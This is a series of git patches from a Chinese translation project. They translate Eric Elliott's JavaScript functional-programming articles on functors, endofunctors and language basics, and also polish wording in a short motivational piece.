-Say you have a function `g` that takes an `a` and returns a `b`, and another function `f` that takes a `b` and returns a `c`; there must also be a function `h` that represents the composition of `f` and `g`. So, the composition from `a -> c`, is the composition `f ∘ g` (`f`*after*`g`). So, `h(x) = f(g(x))`. Function composition works right to left, not left to right, which is why `f ∘ g` is frequently called `f`*after*`g`.
+如果你有一个函数 `g`，该函数接受一个参数 `a` 并且返回一个 `b`，另一个函数 `f` 接受一个 `b` 并返回一个 `c`。那么，必然存在一个函数 `h`，其代表了 `f` 及 `g` 的组合。而 `a -> c` 的组合，就是 `f ∘ g`（读作`f` **紧接着** `g`），进而，也就知 `h(x)=f(g(x))`。函数组合的方向是由右向左的，这也就是就是 `f ∘ g` 常被叫做 `f` **紧接着** `g` 的原因。
 
-Composition is associative. Basically that means that when you’re composing multiple functions (morphisms if you’re feeling fancy), you don’t need parenthesis:
+函数组合是满足结合律的，这就意味着你在组合多个函数时，免去了添加括号的烦恼：
 
 ```
 h∘(g∘f) = (h∘g)∘f = h∘g∘f
 ```
 
-Let’s take another look at the composition law in JavaScript:
+让我们再看一眼 JavaScript 中组合律：
 
-Given a functor, `F`:
+给定一个 functor，`F`：
 
 ```
 const F = [1, 2, 3];
 ```
 
-The following are equivalent:
+下面的两段是等效的：
 
 ```
 F.map(x => f(g(x)));
 
-// is equivalent to...
+// 等效于。。。
 
 F.map(g).map(f);
 ```
 
-### Endofunctors ###
+> 译注：functor 中函数组合的结合率可以被理解为：对 functor 中保存的值使用组合后的函数进行 map，等效于先后对该值用不同的函数进行 map。
+
+### Endofunctors（自函子） ###
 
-An endofunctor is a functor that maps from a category back to the same category.
+一个 endofunctor（自函子）是一个能将一个范畴映射回相同范畴的 functor。
 
-A functor can map from category to category: `F a -> F b`
+一个 functor 能够完成任意范畴间映射: `F a -> F b`
 
-An endofunctor maps from a category to the same category: `F a -> F a`
+一个 endofunctor 能够完成相同范畴间的映射：`F a -> F a`
 
-`F` here represents a *functor type* and `a` represents a category variable (meaning it can represent any category, including a set or a category of all possible values in a data type).
+在这里，`F` 代表了一个 **functor 类型**，而 `a` 代表了一个范畴变量（意味着其能够代表任意的范畴，无论是一个集合，还是一个包含了某一数据类型所有可能取值的范畴）。
 
-A monad is an endofunctor. Remember:
+而一个 monad 则是一个 endofunctor，先记住下面这句话：
 
-> *“A monad is just a monoid in the category of endofunctors. What’s the problem?”*
+> “monad 是 endofunctor 范畴的 monoids（幺半群），有什么问题？”（译注：这句话的出处在该系列第一篇已有提及）
 
-Hopefully that quote is starting to make a little more sense. We’ll get to monoids and monads later.
+现在，我们希望第一篇提及的这句话能在之后多一点意义，monoids（幺半群）及 monad 将在之后作介绍。
 
-### Build Your Own Functor ###
+### 自定义一个 Functor ###
 
-Here’s a simple example of a functor:
+下面将展示一个简单的 functor 例子：
 
 ```
 const Identity = value => ({
@@ -122,11 +123,11 @@ const Identity = value => ({
 });
 ```
 
-As you can see, it satisfies the functor laws:
+显然，其满足了 functor 定律：
 
 ```
-// trace() is a utility to let you easily inspect
-// the contents.
+// trace() 是一个简单的工具函数来帮助审查内容
+// 内容
 const trace = x => {
   console.log(x);
   return x;
@@ -134,14 +135,14 @@ const trace = x => {
 
 const u = Identity(2);
 
-// Identity law
+// 同一性
 u.map(trace);             // 2
 u.map(x => x).map(trace); // 2
 
 const f = n => n + 1;
 const g = n => n * 2;
 
-// Composition law
+// 组合性
 const r1 = u.map(x => f(g(x)));
 const r2 = u.map(g).map(f);
 
@@ -149,11 +150,11 @@ r1.map(trace); // 5
 r2.map(trace); // 5
 ```
 
-Now you can map over any data type, just like you can map over an array. Nice!
+现在，你可以对存在该 functor 中的任何数据类型进行 map 操作，就像你对一个数组进行 map 时那样。这简直太美妙了。
 
-That’s about as simple as a functor can get in JavaScript, but it’s missing some features we expect from data types in JavaScript. Let’s add them. Wouldn’t it be cool if the `+` operator could work for number and string values?
+上面的代码片展示了 JavaScript 中 functor 的简单实现，但是其缺失了 JavaScript 中常见数据类型的一些特性。现在我们逐个添加它们。首先，我们会想到，假如能够直接通过 `+` 操作符操作我们的 functor 是不是太好了，就像我们在数值或者字符串对象间使用 `+` 号那样。
 
-To make that work, all we need to do is implement `.valueOf()` -- which also seems like a convenient way to unwrap the value from the functor:
+为了使该想法变现，我们首先要为该 functor 对象添加 `.valueOf()` 方法  —— 这可被看作是提供了一个便捷的渠道来将值从 functor 盒子中取出。
 
 ```
 const Identity = value => ({
@@ -169,13 +170,13 @@ const hi = (Identity('h') + Identity('i'));
 trace(hi); // "hi"
 ```
 
-Nice. But what if we want to inspect an `Identity` instance in the console? It would be cool if it would say `"Identity(value)"`, right. Let's add a `.toString()` method:
+现在代码更漂亮了。但是如果我们还想要在控制台审查 `Identity` 实例呢？如果控制台能够输出 `"Identity(value)"` 就太好了，为此，我们只需要添加一个 `.toString()` 方法即可（译注：亦即重载原型链上原有的 `.toString()` 方法）：
 
 ```
 toString: () => `Identity(${value})`,
 ```
 
-Cool. We should probably also enable the standard JS iteration protocol. We can do that by adding a custom iterator:
+代码又有所进步。现在，我们可能也想 functor 能够满足标准的 JavaScript 迭代协议（译注：[MDN - 迭代协议](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Iteration_protocols)）。为此，我们可以为 `Identity` 添加一个自定义的迭代器：
 
 ```
   [Symbol.iterator]: () => {
@@ -197,7 +198,7 @@ Cool. We should probably also enable the standard JS iteration protocol. We can
   },
 ```
 
-Now this will work:
+现在，我们的 functor 还能这样工作:
 
 ```
 // [Symbol.iterator] enables standard JS iterations:
@@ -205,28 +206,30 @@ const arr = [6, 7, ...Identity(8)];
 trace(arr); // [6, 7, 8]
 ```
 
-What if you want to take an `Identity(n)` and return an array of Identities containing `n + 1`, `n + 2`, and so on? Easy, right?
+假如你想借助 `Identity(n)` 来返回包含了 `n+1`，`n+2` 等等的 Identity 数组，这非常容易：
 
 ```
 const fRange = (
   start,
   end
 ) => Array.from(
-  { length: end - start + 1 },
+  {length: end - start + 1},
   (x, i) => Identity(i + start)
 );
 ```
 
-Ah, but what if you want this to work with any functor? What if we had a spec that said that each instance of a data type must have a reference to its constructor? Then you could do this:
+> 译注：[MDN -- Array.from()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+
+但是，如果你想上面的操作方式能够应用于任何 functor，该怎么办？假如我们规定了每种数据类型对应的实例必须有一个关于其构造函数的引用，那么你可以这样改造之前的逻辑：
 
 ```
 const fRange = (
   start,
   end
 ) => Array.from(
-  { length: end - start + 1 },
+  {length: end - start + 1},
 
-  // change `Identity` to `start.constructor`
+  // 将 `Identity` 变更为 `start.constructor`
   (x, i) => start.constructor(i + start)
 );
 
@@ -234,7 +237,7 @@ const range = fRange(Identity(2), 4);
 range.map(x => x.map(trace)); // 2, 3, 4
 ```
 
-What if you want to test to see if a value is a functor? We could add a static method on `Identity` to check. We should throw in a static `.toString()` while we're at it:
+假如你还想知道一个值是否在一个 functor 中，又怎么办？我们可以为 `Identity` 添加一个静态方法 `.is()` 来进行检测，另外，我们也顺便添加了一个静态的 `.toString()` 方法来告知这个 functor 的种类：
 
 ```
 Object.assign(Identity, {
@@ -243,7 +246,8 @@ Object.assign(Identity, {
 });
 ```
 
-Let’s put all this together:
+
+现在，我们整合一下上面的代码片:
 
 ```
 const Identity = value => ({
@@ -280,14 +284,14 @@ Object.assign(Identity, {
 });
 ```
 
-Note you don’t need all this extra stuff for something to qualify as a functor or an endofunctor. It’s strictly for convenience. All you *need* for a functor is a `.map()` interface that satisfies the functor laws.
+注意，无论是 functor，还是 endofunctor，不一定需要上述那么多的条条框框。以上工作只是为了我们在使用 functor 时更加便捷，而非必须。一个 functor 的所有需求只是一个满足了 functor 定律 `.map()` 接口。
 
-### Why Functors? ###
+### 为什么要使用 functor? ###
 
-Functors are great for lots of reasons. Most importantly, they’re an abstraction that you can use to implement lots of useful things in a way that works with any data type. For instance, what if you want to kick off a chain of operations, but only if the value inside the functor is not `undefined` or `null`?
+说 functor 多么多么好是不无理由的。最重要的一点是，functor 作为一种抽象，能让开发者以同一种方式实现大量有用的，能够操纵任何数据类型的事物。例如，如果你想要在 functor 中值不为 `null` 或者不为 `undefined` 前提下，构建一串地链式操作：
 
 ```
-// Create the predicate
+// 创建一个 predicte
 const exists = x => (x.valueOf() !== undefined && x.valueOf() !== null);
 
 const ifExists = x => ({
@@ -297,9 +301,9 @@ const ifExists = x => ({
 const add1 = n => n + 1;
 const double = n => n * 2;
 
-// Nothing happens...
+// undefined
 ifExists(Identity(undefined)).map(trace);
-// Still nothing...
+// null
 ifExists(Identity(null)).map(trace);
 
 // 42
@@ -310,9 +314,9 @@ ifExists(Identity(20))
 ;
 ```
 
-Of course, functional programming is all about composing tiny functions to create higher level abstractions. What if you want a generic map that works with any functor? That way you can partially apply arguments to create new functions.
+函数式编程一直探讨的是将各个小的函数进行组合，以创建出更高层次的抽象。假如你想要一个更通用的，能够工作在任何 functor 上的 `map()` 方法，那么你可以通过参数的部分应用（译注：即 [偏函数](https://en.wikipedia.org/wiki/Partial_application)）来完成。
 
-Easy. Pick your favorite auto-curry, or use this magic spell from before:
+你可以使用自己喜欢的 curry 化方法（译注：Underscore，Lodash，Ramda 等第三方库都提供了 curry 化一个函数的方法），或者使用下面这个之前篇章提到的，基于 ES6 的，充满魅力的 curry 化方法来实现参数的部分应用：
 
 ```
 const curry = (
@@ -324,7 +328,7 @@ const curry = (
 )([...arr, ...args]);
 ```
 
-Now we can customize map:
+现在，我们可以自定义 `map()` 方法:
 
 ```
 const map = curry((fn, F) => F.map(fn));
@@ -335,28 +339,27 @@ const mdouble = map(double);
 mdouble(Identity(4)).map(trace); // 8
 ```
 
-### Conclusion ###
+### 总结 ###
 
-Functors are things we can map over. More specifically, a functor is a mapping from category to category. A functor can even map from a category back to the same category (i.e., an *endofunctor*).
+functor 是能够对其进行 map 操作的对象。更进一步地，一个 functor 能够将一个范畴映射到另一个范畴。一个 functor 甚至可以将某一范畴映射回相同范畴（例如 endofunctor）。
 
-A category is a collection of objects, with arrows between objects. Arrows represent morphisms (aka functions, aka compositions). Each object in a category has an identity morphism (`x => x`). For any chain of objects `A -> B -> C` there must exist a composition `A -> C`.
+一个范畴是一个容纳了对象和对象间箭头的集合。箭头代表了态射（也可理解为函数或者组合）。一个范畴中的每个对象都具有一个同一态射（`x -> x`）。对于任何链接起来的对象 `A -> B -> C`，必存在一个 `A -> C` 的组合。
 
-Functors are great higher-order abstractions that allow you to create a variety of generic functions that will work for any data type.
+总之，functor 是一个极佳的高阶抽象，能然你创建各种各样的通用函数来操作任何的数据类型。
 
-**To be continued…**
+**未完待续。。。**
 
-### Next Steps ###
+### 接下来 ###
 
-Want to learn more about functional programming in JavaScript?
+想学习更多 JavaScript 函数式编程吗？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/) 
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC**, and top recording artists including **Usher, Frank Ocean, Metallica**, and many more.
+**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。
 
 ---
 

From 2c3a7a1b733624be4e533cd2b2fda859caa04ddd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Thu, 13 Apr 2017 00:50:54 +0800
Subject: [PATCH 142/638] title

---
 TODO/functors-categories.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
index 31ee4219b6f..491a023bc29 100644
--- a/TODO/functors-categories.md
+++ b/TODO/functors-categories.md
@@ -4,7 +4,7 @@
 > * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
 > * 校对者：
 
-# Functor 与 Category （软件编写）（第五部分）#
+# Functor 与 Category （软件编写）（第六部分）#
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 

From 8e7e318c4a1391a3088eeb6fbab18e5b61807797 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Thu, 13 Apr 2017 02:07:57 +0800
Subject: [PATCH 143/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=80=E8=BF=87?=
 =?UTF-8?q?=E5=8D=8A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...uction-to-javascript-composing-software.md | 124 +++++++++---------
 1 file changed, 63 insertions(+), 61 deletions(-)

diff --git a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
index c831ac252e4..df1ca8810a3 100644
--- a/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
+++ b/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md
@@ -1,29 +1,30 @@
 > * 原文地址：[A Functional Programmer’s Introduction to JavaScript (Composing Software)(part 3)](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[sun](http://suncafe.cc)
 > * 校对者：
 
-# A Functional Programmer’s Introduction to JavaScript (Composing Software) #
+# 函数式程序员的 JavaScript 简介 (软件构建系列) #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
+烟雾艺术模仿 — MattysFlicks — (CC BY 2.0)
 
 > Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257#.ia0aq3fmb)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.egoxjg6x7) 
+> [< Previous](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257#.ia0aq3fmb)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.egoxjg6x7)
 
-For those unfamiliar with JavaScript or ES6+, this is intended as a brief introduction. Whether you’re a beginner or experienced JavaScript developer, you may learn something new. The following is only meant to scratch the surface and get you excited. If you want to know more, you’ll just have to explore deeper. There’s a lot more ahead.
+对于不熟悉 JavaScript 或 ES6+ 的同学，这里做一个简短的介绍。无论你是 JavaScript 开发新手还是有经验的老兵，你都可能学到一些新东西。以下内容仅是毛羽鳞鬣，吊吊大家的兴致。如果想知道更多，还需深入学习。敬请期待吧。
 
-The best way to learn to code is to code. I recommend that you follow along using an interactive JavaScript programming environment such as [CodePen](https://codepen.io/) or the [Babel REPL](https://babeljs.io/repl/) .
 
-Alternatively, you can get away with using the Node or browser console REPLs.
+学习编程最好的方法就是动手编程。我建议您使用交互式 JavaScript 编程环境（如 [CodePen](https://codepen.io/) 或 [Babel REPL](https://babeljs.io/repl/)）。
 
-### Expressions and Values ###
+或者，您也可以使用 Node 或浏览器控制台 REPL。
 
-An expression is a chunk of code that evaluates to a value.
+### 表达式和值 ###
 
-The following are all valid expressions in JavaScript:
+表达式是可以求得数据值的代码块。
+
+下面这些都是 JavaScript 中合法的表达式：
 
 ```
 7;
@@ -35,42 +36,42 @@ The following are all valid expressions in JavaScript:
 'Hello'; // Hello
 ```
 
-The value of an expression can be given a name. When you do so, the expression is evaluated first, and the resulting value is assigned to the name. For this, we’ll use the `const` keyword. It's not the only way, but it's the one you'll use most, so we'll stick with `const` for now:
+表达式的值可以被赋予一个名称。执行此操作时，表达式首先被计算，取得的结果值被分配给该名称。对于这一点我们将使用 `const` 关键字。这不是唯一的方式，但这将是你使用最多的，所以目前我们就可以坚持使用 `const`。
 
 ```
 const hello = 'Hello';
 hello; // Hello
 ```
 
-### var, let, and const ###
+### var、let 和 const ###
 
-JavaScript supports two more variable declaration keywords: `var`, and `let`. I like to think of them in terms of order of selection. By default, I select the strictest declaration: `const`. A variable declared with the `const` keyword can't be reassigned. The final value must be assigned at declaration time. This may sound rigid, but the restriction is a good thing. It's a signal that tells you, "the value assigned to this name is not going to change". It helps you fully understand what the name means right away, without needing to read the whole function or block scope.
+JavaScript 支持另外两种变量声明关键字：`var`，还有 `let`。我喜欢根据选择的顺序来考虑它们。默认情况下，我选择最严格的声明方式：`const`。用 `const` 关键字声明的变量不能被重新赋值。最终值必须在声明时分配。这可能听起来很严格，但限制是一件好事。这是个标识在提醒你“赋给这个名称的值将不会改变”。它可以帮你全面了解这个名称的意义，而无需阅读整个函数或块级作用域。
 
-Sometimes it’s useful to reassign variables. For example, if you’re using manual, imperative iteration rather than a more functional approach, you can iterate a counter assigned with `let`.
+有时，给变量重新赋值很有用。比如，如果你正在写一个手动的强制性迭代，而不是一个更具功能性的方法，你可以迭代一个用 `let` 赋值的计数器。
 
-Because `var` tells you the least about the variable, it is the weakest signal. Since I started using ES6, I have never intentionally declared a `var` in a real software project.
+因为 `var` 能告诉你很少关于这个变量的信息，所以它是最无力的声明标识。自从开始用 ES6，我就再也没在实际软件项目中有意使用 `var` 作声明了。
 
-Be aware that once a variable is declared with `let` or `const`, any attempt to declare it again will result in an error. If you prefer more experimental flexibility in the REPL (Read, Eval, Print Loop) environment, you may use `var` instead of `const` to declare variables. Redeclaring `var` is allowed.
+注意一下，一个变量一旦用 `let` 或 `const` 声明，任何再次声明的尝试都将导致报错。如果你在 REPL（读取-求值-输出循环）环境中更喜欢多一些实验性和灵活性，那么建议你使用 `var` 声明变量，而不是 `const`。
 
-This text will use `const` in order to get you in the habit of defaulting to `const` for actual programs, but feel free to substitute `var` for the purpose of interactive experimentation.
+本文将使用 const 来让您习惯于为实际程序中用 `const`，而出于试验的目的自由切换回 `var`。
 
-### Types ###
+### 数据类型 ###
 
-So far we’ve seen two types: numbers and strings. JavaScript also has booleans (`true` or `false`), arrays, objects, and more. We'll get to other types later.
+目前为止我们见到了两种数据类型：数字和字符串。JavaScript 也有布尔值（`true` 或 `false`）、数组、对象等。稍后我们再看其他类型。
 
-An array is an ordered list of values. Think of it as a box that can hold many items. Here’s the array literal notation:
+数组是一系列值的有序列表。可以把它比作一个能够装很多元素的盒子。这是一个数组字面量：
 
 ```
 [1, 2, 3];
 ```
 
-Of course, that’s an expression which can be given a name:
+当然，它也是一个可被赋予名称的表达式：
 
 ```
 const arr = [1, 2, 3];
 ```
 
-An object in JavaScript is a collection of key: value pairs. It also has a literal notation:
+在 JavaScript 中，对象是一系列键值对的集合。它也有字面量：
 
 ```
 {
@@ -78,7 +79,7 @@ An object in JavaScript is a collection of key: value pairs. It also has a liter
 }
 ```
 
-And of course, you can assign an object to a name:
+当然，你也可以给对象赋予名称：
 
 ```
 const foo = {
@@ -86,40 +87,40 @@ const foo = {
 }
 ```
 
-If you want to assign existing variables to object property keys of the same name, there’s a shortcut for that. You can just type the variable name instead of providing both a key and a value:
+如果你想将现有变量赋值给同名的对象属性，这有个捷径。你可以仅输入变量名，而不用同时提供一个键和一个值：
 
 ```
 const a = 'a';
-const oldA = { a: a }; // long, redundant way
-const oA = { a }; // short an sweet!
+const oldA = { a: a }; // 长而冗余的写法
+const oA = { a }; // 短小精悍！
 ```
 
-Just for fun, let’s do that again:
+为了好玩而已，让我们再来一次：
 
 ```
 const b = 'b';
 const oB = { b };
 ```
 
-Objects can be easily composed together into new objects:
+对象可以轻松合并到新的对象中：
 
 ```
 const c = {...oA, ...oB}; // { a: 'a', b: 'b' }
 ```
 
-Those dots are the object spread operator. It iterates over the properties in `oA` and assigns them to the new object, then does the same for `oB`, overriding any keys that already exist on the new object. As of this writing, object spread is a new, experimental feature that may not be available in all the popular browsers yet, but if it's not working for you, there is a substitute: `Object.assign()`:
+这些点是对象扩展运算符。它迭代 `oA` 的属性并分配到新的对象中，`oB` 也是一样，在新对象中已经存在的键都会被重写。在撰写本文时，对象扩展是一个新的试验特性，可能还没有被所有主流浏览器支持，但如果你那不能用，还可以用 `Object.assign()` 替代：
 
 ```
 const d = Object.assign({}, oA, oB); // { a: 'a', b: 'b' }
 ```
 
-Only a little more typing in the `Object.assign()` example, and if you're composing lots of objects, it may even save you some typing. Note that when you use `Object.assign()`, you must pass a destination object as the first parameter. It is the object that properties will be copied to. If you forget, and omit the destination object, the object you pass in the first argument will be mutated.
+这个 `Object.assign()` 的例子代码很少，如果你想合并很多对象，它甚至可以节省一些打字。注意当你使用 `Object.assign()` 时，你必须传一个目标对象作为第一个参数。它就是那个源对象的属性将被复制过去的对象。如果你忘了传，第一个参数传递的对象将被改变。
 
-In my experience, mutating an existing object rather than creating a new object is usually a bug. At the very least, it is error-prone. Be careful with `Object.assign()`.
+以我的经验，改变一个已经存在的对象而不创建一个新的对象常常引发 bug。至少至少，它很容易出错。要小心使用 `Object.assign()`。
 
-### Destructuring ###
+### 解构 ###
 
-Both objects and arrays support destructuring, meaning that you can extract values from them and assign them to named variables:
+对象和数组都支持解构，这意味着你可以从中提取值分配给命过名的变量：
 
 ```
 const [t, u] = ['a', 'b'];
@@ -130,19 +131,19 @@ const blep = {
   blop: 'blop'
 };
 
-// The following is equivalent to:
+// 下面等同于：
 // const blop = blep.blop;
 const { blop } = blep;
 blop; // 'blop'
 ```
 
-As with the array example above, you can destructure to multiple assignments at once. Here’s a line you’ll see in lots of Redux projects:
+和上面数组的例子类似，你可以一次解构多次分配。下面这行你在大量的 Redux 项目中都能见到。
 
 ```
 const { type, payload } = action;
 ```
 
-Here’s how it’s used in the context of a reducer (much more on that topic coming later):
+下面是它在一个 reducer（后面的话题再详细说） 的上下文中的使用方法。
 
 ```
 const myReducer = (state = {}, action = {}) => {
@@ -154,75 +155,76 @@ const myReducer = (state = {}, action = {}) => {
 };
 ```
 
-If you don’t want to use a different name for the new binding, you can assign a new name:
+如果不想为新绑定使用不同的名称，你可以分配一个新名称：
 
 ```
 const { blop: bloop } = blep;
 bloop; // 'blop'
 ```
 
-Read: Assign `blep.blop` as `bloop`.
+读作：把 `blep.blop` 分配给 `bloop`。
 
-### Comparisons and Ternaries ###
+### 比较运算符和三元表达式 ###
 
-You can compare values with the strict equality operator (sometimes called “triple equals”):
+你可以用严格的相等操作符（有时称为“三等于”）来比较数据值：
 
 ```
 3 + 1 === 4; // true
 ```
 
-There’s also a sloppy equality operator. It’s formally known as the “Equal” operator. Informally, “double equals”. Double equals has a valid use-case or two, but it’s almost always better to default to the `===` operator, instead.
+还有另外一种宽松的相等操作符。它正式地被称为“等于”运算符。非正式地可以叫“双等于”。双等于有一两个有效的用例，但大多数时候默认使用 `===` 操作符是更好的选择。
+
 
-Other comparison operators include:
+其它比较操作符有:
 
-- `>` Greater than
-- `<` Less than
-- `>=` Greater than or equal to
-- `<=` Less than or equal to
-- `!=` Not equal
-- `!==` Not strict equal
-- `&&` Logical and
-- `||` Logical or
+- `>` 大于
+- `<` 小于
+- `>=` 大于或等于
+- `<=` 小于或等于
+- `!=` 不等于
+- `!==` 严格不等于
+- `&&` 逻辑与
+- `||` 逻辑或
 
-A ternary expression is an expression that lets you ask a question using a comparator, and evaluates to a different answer depending on whether or not the expression is truthy:
+三元表达式是一个可以让你使用一个比较器来问问题的表达式，运算出的不同答案取决于表达式是否为真:
 
 ```
 14 - 7 === 7 ? 'Yep!' : 'Nope.'; // Yep!
 ```
 
-### Functions ###
+### 函数 ###
 
-JavaScript has function expressions, which can be assigned to names:
+JavaScript 支持函数表达式，函数可以这样分配名称：
 
 ```
 const double = x => x * 2;
 ```
 
-This means the same thing as the mathematical function `f(x) = 2x`. Spoken out loud, that function reads `f` of `x` equals `2x`. This function is only interesting when you apply it to a specific value of `x`. To use the function in other equations, you'd write `f(2)`, which has the same meaning as `4`.
+这和数学表达式 `f(x) = 2x` 是一个意思。大声说出来，这个函数读作 `x` 的 `f` 等于 `2x`。这个函数只有当你用一个具体的 `x` 的值应用它的时候才有意思。在其它方程式里面你写 `f(2)`，就等同于 `4`。
 
-In other words, `f(2) = 4`. You can think of a math function as a mapping from inputs to outputs. `f(x)` in this case is a mapping of input values for `x` to corresponding output values equal to the product of the input value and `2`.
+换种说话就是 `f(2) = 4`。您可以将数学函数视为从输入到输出的映射。这个例子里 `f(x)` 是输入数值 `x` 到相应的输出数值的映射，等于输入数值和 `2` 的乘积。
 
-In JavaScript, the value of a function expression is the function itself:
+在 JavaScript 中，函数表达式的值是函数本身：
 
 ```
 double; // [Function: double]
 ```
 
-You can see the function definition using the `.toString()` method:
+你可以使用 `.toString()` 方法看到这个函数的定义。
 
 ```
 double.toString(); // 'x => x * 2'
 ```
 
-If you want to apply a function to some arguments, you must invoke it with a function call. A function call applies a function to its arguments and evaluates to a return value.
+如果要将函数应用于某些参数，则必须使用函数调用来调用它。函数调用会接收参数并且计算一个返回值。
 
-You can invoke a function using `<functionName>(argument1, argument2, ...rest)`. For example, to invoke our double function, just add the parentheses and pass in a value to double:
+你可以使用 `<functionName>(argument1, argument2, ...rest)` 调用一个函数。比如调用我们的 double 函数，就加一对括号并传进去一个值：
 
 ```
 double(2); // 4
 ```
 
-Unlike some functional languages, those parentheses are meaningful. Without them, the function won’t be called:
+和一些函数式语言不同，这对括号是有意义的。没有它们，函数将不会被调用。
 
 ```
 double 4; // SyntaxError: Unexpected number
@@ -481,7 +483,7 @@ Want to learn more about functional programming in JavaScript?
 [Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
 
 [<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/) 
+](https://ericelliottjs.com/product/lifetime-access-pass/)
 
 
 ***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC and top recording artists including Usher, Frank Ocean, Metallica**, and many more.

From 1656973000dc535edb97f9447f47325a89444f7d Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Wed, 12 Apr 2017 19:19:12 -0400
Subject: [PATCH 144/638] errors fixes

---
 TODO/nothing-will-change-until-you-start-building.md | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 034e8ae1484..f063274822b 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -10,15 +10,15 @@
 
 # 真正行动之前 你将一无所成
 
-就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，她有写一本儿童书籍的想法，有开发一个帮助人们找到停车位置的软件的想法，有寻找到一种更高效打包礼物的想法，但问题是她总是犹豫不决：她有很多想法但却不知道从何开始。
+就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她既想写一本儿童书籍，又想开发一个帮助人们找到停车位置的软件，还想找到一种更高效的打包礼物的方式，但问题是她总是犹豫不决：她有很多想法但却不知道从何开始。
 
-接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个APP，那就从构建草图开始。任何人都可以做到这些。
+接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个 APP ，那就从构建草图开始。任何人都可以做到这些。
 
